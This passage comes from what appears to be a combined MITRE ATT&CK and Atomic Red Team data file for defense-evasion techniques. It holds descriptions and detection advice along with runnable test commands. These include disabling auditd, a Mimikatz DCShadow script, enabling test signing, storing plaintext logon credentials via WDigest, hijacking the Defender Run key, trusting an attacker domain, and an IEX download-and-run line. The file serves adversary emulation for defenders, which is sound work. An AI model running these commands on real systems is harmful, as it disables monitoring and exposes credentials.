or temporarily suspending auditing requirements, but it reduces visibility into system events and can impact security monitoring and compliance efforts. ' supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if auditd is installed. ' prereq_command: 'if [ $(command -v auditctl) ]; then exit 0; else exit 1; fi ' get_prereq_command: "(yum install auditd -y) || (apt-get install auditd -y) || (dnf install auditd -y)\n" executor: command: 'auditctl -e 0 ' name: sh elevation_required: true cleanup_command: 'auditctl -e 1 ' T1207: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Vincent Le Toux object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a type: attack-pattern created: '2018-04-18T17:59:24.739Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1207 url: https://attack.mitre.org/techniques/T1207 - url: https://www.dcshadow.com/ description: Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018. source_name: DCShadow Blog - url: https://adsecurity.org/?page_id=1821 description: Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015. source_name: Adsecurity Mimikatz Guide - url: https://github.com/shellster/DCSYNCMonitor description: Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March 30, 2018. source_name: GitHub DCSYNCMonitor - url: https://msdn.microsoft.com/en-us/library/ms677626.aspx description: Microsoft. (n.d.). Polling for Changes Using the DirSync Control. Retrieved March 30, 2018. source_name: Microsoft DirSync - url: https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html description: Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018. source_name: ADDSecurity DCShadow Feb 2018 modified: '2022-05-11T14:00:00.188Z' name: Rogue Domain Controller description: |- Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys. Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide) This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: |- Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an adversary or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog) Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018) Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog) Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete. x_mitre_version: '2.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Active Directory: Active Directory Object Modification' - 'Network Traffic: Network Traffic Content' - 'User Account: User Account Authentication' - 'Active Directory: Active Directory Object Creation' x_mitre_defense_bypassed: - Log analysis x_mitre_permissions_required: - Administrator x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1207 atomic_tests: - name: DCShadow (Active Directory) auto_generated_guid: 0f4c5eb0-98a0-4496-9c3d-656b4f2bc8f6 description: | Use Mimikatz DCShadow method to simulate behavior of an Active Directory Domain Controller and edit protected attribute. [DCShadow](https://www.dcshadow.com/) [Additional Reference](http://www.labofapenetrationtester.com/2018/04/dcshadow.html) It will set the badPwdCount attribute of the target user (user/machine account) to 9999. You can check after with: Get-ADObject -LDAPFilter '(samaccountname=)' -Properties badpwdcount | select-object -ExpandProperty badpwdcount Need SYSTEM privileges locally (automatically obtained via PsExec, so running as admin is sufficient), and Domain Admin remotely. The easiest is to run elevated and as a Domain Admin user. supported_platforms: - windows input_arguments: object: description: Targeted object (for machine account do not forget to add final '$') type: string default: bruce.wayne attribute: description: 'Object attribute to edit, interesting ones: badpwdcount, primaryGroupId, SIDHistory...' type: string default: badpwdcount value: description: Value to assign to object attribute type: string default: '9999' mimikatz_path: description: Mimikatz windows executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\mimikatz\x64\mimikatz.exe psexec_path: description: Path to PsExec type: path default: PathToAtomicsFolder\..\ExternalPayloads\PSTools\PsExec.exe dependency_executor_name: powershell dependencies: - description: 'Mimikatz executor must exist on disk and at specified location (#{mimikatz_path}) ' prereq_command: | $mimikatz_path = cmd /c echo #{mimikatz_path} if (Test-Path $mimikatz_path) {exit 0} else {exit 1} get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n" - description: 'PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path}) ' prereq_command: 'if (Test-Path "#{psexec_path}") { exit 0} else { exit 1} ' get_prereq_command: | Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force New-Item -ItemType Directory (Split-Path "#{psexec_path}") -Force | Out-Null Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "#{psexec_path}" -Force executor: name: powershell elevation_required: true command: | # starting fake DC server, as SYSTEM (required) $dc_output_file = "PathToAtomicsFolder\..\ExternalPayloads\art-T1207-mimikatz-DC.log" Remove-Item $dc_output_file -ErrorAction Ignore $mimikatzParam ="`"log $dc_output_file`" `"lsadump::dcshadow /object:#{object} /attribute:#{attribute} /value:#{value}`" `"exit`"" $dc = Start-Process -FilePath cmd.exe -Verb Runas -ArgumentList "/c '#{psexec_path}' /accepteula -d -s #{mimikatz_path} $mimikatzParam" # wait for fake DC server to be ready... Start-Sleep -Seconds 5 # server ready, so trigger replication (push) and wait until it finished & "#{mimikatz_path}" "lsadump::dcshadow /push" "exit" Write-Host "`nWaiting for fake DC server to return" Wait-Process $dc Write-Host "`nOutput from fake DC server:" Get-Content $dc_output_file Start-Sleep 1 # wait a little until the file is not locked anymore so we can actually delete it Remove-Item $dc_output_file -ErrorAction Ignore Write-Host "End of DCShadow" cleanup_command: 'Stop-Process -Name "mimikatz" -Force -ErrorAction Ignore ' T1553.006: technique: x_mitre_platforms: - Windows - macOS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Abel Morales, Exabeam object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c created: '2021-04-23T01:04:57.161Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1553.006 url: https://attack.mitre.org/techniques/T1553/006 - source_name: Apple Disable SIP url: https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection description: Apple. (n.d.). Disabling and Enabling System Integrity Protection. Retrieved April 22, 2021. - source_name: F-Secure BlackEnergy 2014 url: https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf description: 'F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.' - source_name: FireEye HIKIT Rootkit Part 2 url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html description: 'Glyer, C., Kazanciyan, R. (2012, August 22). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020.' - source_name: Microsoft Unsigned Driver Apr 2017 url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test description: Microsoft. (2017, April 20). Installing an Unsigned Driver during Development and Test. Retrieved April 22, 2021. - source_name: Microsoft DSE June 2017 url: https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN description: Microsoft. (2017, June 1). Digital Signatures for Kernel Modules on Windows. Retrieved April 22, 2021. - source_name: Microsoft TESTSIGNING Feb 2021 url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option description: Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021. - source_name: Unit42 AcidBox June 2020 url: https://unit42.paloaltonetworks.com/acidbox-rare-malware/ description: 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.' - source_name: GitHub Turla Driver Loader url: https://github.com/hfiref0x/TDL description: TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021. x_mitre_deprecated: false revoked: false description: "Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. \n\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)\n\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include bcdedit.exe -set TESTSIGNING ON on Windows and csrutil disable on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)\n\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)" modified: '2022-05-24T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Subvert Trust Controls: Code Signing Policy Modification' x_mitre_detection: 'Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as bcdedit.exe -set TESTSIGNING ON.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as HKCU\Software\Policies\Microsoft\Windows NT\Driver Signing. Modifications to the code signing policy of a system are likely to be rare.' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Command: Command Execution' - 'Windows Registry: Windows Registry Key Modification' - 'Process: Process Creation' x_mitre_defense_bypassed: - User Mode Signature Validation - Digital Certificate Validation - Application Control x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1553.006 atomic_tests: - name: Code Signing Policy Modification auto_generated_guid: bb6b51e1-ab92-45b5-aeea-e410d06405f8 description: Allows adversaries to subvert trust controls by modifying the code signing policy, enabling the execution of unsigned drivers. supported_platforms: - windows executor: command: bcdedit /set testsigning on cleanup_command: bcdedit /set testsigning off name: command_prompt elevation_required: true T1610: technique: modified: '2024-04-11T21:24:42.680Z' name: Deploy a container description: |- Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node. (Citation: AppSecco Kubernetes Namespace Breakout 2020) Containers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow. (Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: execution x_mitre_contributors: - Pawan Kinger, @kingerpawan, Trend Micro - Alfredo Oliveira, Trend Micro - Idan Frimark, Cisco - Center for Threat-Informed Defense (CTID) - Magno Logan, @magnologan, Trend Micro - Ariel Shuper, Cisco - Vishwas Manral, McAfee - Yossi Weizman, Azure Defender Research Team - Joas Antonio dos Santos, @C0d3Cr4zy x_mitre_deprecated: false x_mitre_detection: Monitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Containers x_mitre_version: '1.3' x_mitre_data_sources: - 'Container: Container Start' - 'Application Log: Application Log Content' - 'Pod: Pod Creation' - 'Container: Container Creation' - 'Pod: Pod Modification' x_mitre_remote_support: true type: attack-pattern id: attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92 created: '2021-03-29T16:51:26.020Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1610 external_id: T1610 - source_name: AppSecco Kubernetes Namespace Breakout 2020 description: Abhisek Datta. (2020, March 18). Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1. Retrieved January 16, 2024. url: https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216 - source_name: Aqua Build Images on Hosts description: 'Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.' url: https://blog.aquasec.com/malicious-container-image-docker-container-host - source_name: Docker Containers API description: Docker. (n.d.). Docker Engine API v1.41 Reference - Container. Retrieved March 29, 2021. url: https://docs.docker.com/engine/api/v1.41/#tag/Container - source_name: Kubernetes Workload Management description: Kubernetes. (n.d.). Workload Management. Retrieved March 28, 2024. url: https://kubernetes.io/docs/concepts/workloads/controllers/ - source_name: Kubeflow Pipelines description: The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines. Retrieved March 29, 2021. url: https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/ - source_name: Kubernetes Dashboard description: The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard). Retrieved March 29, 2021. url: https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1610 atomic_tests: - name: Deploy Docker container auto_generated_guid: 59aa6f26-7620-417e-9318-589e0fb7a372 description: "Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime. They can do this using docker create and docker start commands. Kinsing & Doki was exploited using this technique. \n" supported_platforms: - containers dependency_executor_name: sh dependencies: - description: Verify docker is installed. prereq_command: 'which docker ' get_prereq_command: 'if [ "" == "`which docker`" ]; then echo "Docker Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else echo "Docker installed"; fi ' - description: Verify docker service is running. prereq_command: 'sudo systemctl status docker --no-pager ' get_prereq_command: 'sudo systemctl start docker ' executor: command: | docker build -t t1610 $PathtoAtomicsFolder/T1610/src/ docker run --name t1610_container --rm -itd t1610 bash /tmp/script.sh name: bash cleanup_command: "docker stop t1610_container\ndocker rmi -f t1610:latest \n" T1112: technique: modified: '2023-08-14T19:19:54.148Z' name: Modify Registry description: |- Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution. Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API. Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017) The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Bartosz Jerzman - Travis Smith, Tripwire - David Lu, Tripwire x_mitre_deprecated: false x_mitre_detection: |- Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file. Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. The Registry may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), which may require additional logging features to be configured in the operating system to collect necessary information for analysis. Monitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows x_mitre_version: '1.4' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Modification' - 'Process: OS API Execution' - 'Network Traffic: Network Traffic Flow' - 'Command: Command Execution' - 'Windows Registry: Windows Registry Key Deletion' - 'Windows Registry: Windows Registry Key Creation' - 'Process: Process Creation' x_mitre_defense_bypassed: - Host forensic analysis type: attack-pattern id: attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4 created: '2017-05-31T21:31:23.587Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1112 external_id: T1112 - source_name: Microsoft Reg description: Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015. url: https://technet.microsoft.com/en-us/library/cc732643.aspx - source_name: Microsoft Remote description: Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015. url: https://technet.microsoft.com/en-us/library/cc754820.aspx - source_name: Microsoft 4657 APR 2017 description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018.' url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657 - source_name: SpectorOps Hiding Reg Jul 2017 description: Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. Retrieved August 9, 2018. url: https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353 - source_name: Microsoft Reghide NOV 2006 description: Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved August 9, 2018. url: https://docs.microsoft.com/sysinternals/downloads/reghide - source_name: Microsoft RegDelNull July 2016 description: Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. Retrieved August 10, 2018. url: https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull - source_name: TrendMicro POWELIKS AUG 2014 description: 'Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows Registry. Retrieved August 9, 2018.' url: https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1112 atomic_tests: - name: Modify Registry of Current User Profile - cmd auto_generated_guid: 1324796b-d0f6-455a-b4ae-21ffee6aa6b9 description: | Modify the registry of the currently logged in user using reg.exe via cmd console. Upon execution, the message "The operation completed successfully." will be displayed. Additionally, open Registry Editor to view the new entry in HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced. supported_platforms: - windows executor: command: 'reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /t REG_DWORD /v HideFileExt /d 1 /f ' cleanup_command: 'reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v HideFileExt /f >nul 2>&1 ' name: command_prompt - name: Modify Registry of Local Machine - cmd auto_generated_guid: 282f929a-6bc5-42b8-bd93-960c3ba35afe description: | Modify the Local Machine registry RUN key to change Windows Defender executable that should be ran on startup. This should only be possible when CMD is ran as Administrative rights. Upon execution, the message "The operation completed successfully." will be displayed. Additionally, open Registry Editor to view the modified entry in HKLM\Software\Microsoft\Windows\CurrentVersion\Run. supported_platforms: - windows input_arguments: new_executable: description: New executable to run on startup instead of Windows Defender type: string default: calc.exe executor: command: 'reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /t REG_EXPAND_SZ /v SecurityHealth /d #{new_executable} /f ' cleanup_command: 'reg delete HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /f >nul 2>&1 ' name: command_prompt elevation_required: true - name: Modify registry to store logon credentials auto_generated_guid: c0413fb5-33e2-40b7-9b6f-60b29f4a7a18 description: | Sets registry key that will tell windows to store plaintext passwords (making the system vulnerable to clear text / cleartext password dumping). Upon execution, the message "The operation completed successfully." will be displayed. Additionally, open Registry Editor to view the modified entry in HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest. supported_platforms: - windows executor: command: 'reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f ' cleanup_command: 'reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f >nul 2>&1 ' name: command_prompt elevation_required: true - name: Use Powershell to Modify registry to store logon credentials auto_generated_guid: 68254a85-aa42-4312-a695-38b7276307f8 description: | Sets registry key using Powershell that will tell windows to store plaintext passwords (making the system vulnerable to clear text / cleartext password dumping). Open Registry Editor to view the modified entry in HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest. supported_platforms: - windows executor: command: 'Set-ItemProperty -Force -Path ''HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest'' -Name ''UseLogonCredential'' -Value ''1'' -ErrorAction Ignore ' cleanup_command: 'Set-ItemProperty -Force -Path ''HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest'' -Name ''UseLogonCredential'' -Value ''0'' -ErrorAction Ignore ' name: powershell elevation_required: true - name: Add domain to Trusted sites Zone auto_generated_guid: cf447677-5a4e-4937-a82c-e47d254afd57 description: | Attackers may add a domain to the trusted site zone to bypass defenses. Doing this enables attacks such as c2 over office365. Upon execution, details of the new registry entries will be displayed. Additionally, open Registry Editor to view the modified entry in HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\. https://www.blackhat.com/docs/us-17/wednesday/us-17-Dods-Infecting-The-Enterprise-Abusing-Office365-Powershell-For-Covert-C2.pdf supported_platforms: - windows input_arguments: bad_domain: description: Domain to add to trusted site zone type: string default: bad-domain.com executor: command: | $key= "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\#{bad_domain}\" $name ="bad-subdomain" new-item $key -Name $name -Force new-itemproperty $key$name -Name https -Value 2 -Type DWORD; new-itemproperty $key$name -Name http -Value 2 -Type DWORD; new-itemproperty $key$name -Name * -Value 2 -Type DWORD; cleanup_command: | $key = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\#{bad_domain}\" Remove-item $key -Recurse -ErrorAction Ignore name: powershell - name: Javascript in registry auto_generated_guid: 15f44ea9-4571-4837-be9e-802431a7bfae description: | Upon execution, a javascript block will be placed in the registry for persistence. Additionally, open Registry Editor to view the modified entry in HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings. supported_platforms: - windows executor: command: 'New-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings" -Name T1112 -Value "''" ' name: command_prompt T1480: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Nick Carr, Mandiant object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852 created: '2019-01-31T02:10:08.261Z' x_mitre_version: '1.1' external_references: - source_name: mitre-attack external_id: T1480 url: https://attack.mitre.org/techniques/T1480 - source_name: FireEye Outlook Dec 2019 url: https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html description: 'McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020.' - source_name: FireEye Kevin Mandia Guardrails url: https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/ description: Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019. x_mitre_deprecated: false revoked: false description: |- Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019) Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match. modified: '2022-05-24T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Execution Guardrails x_mitre_detection: Detecting the use of 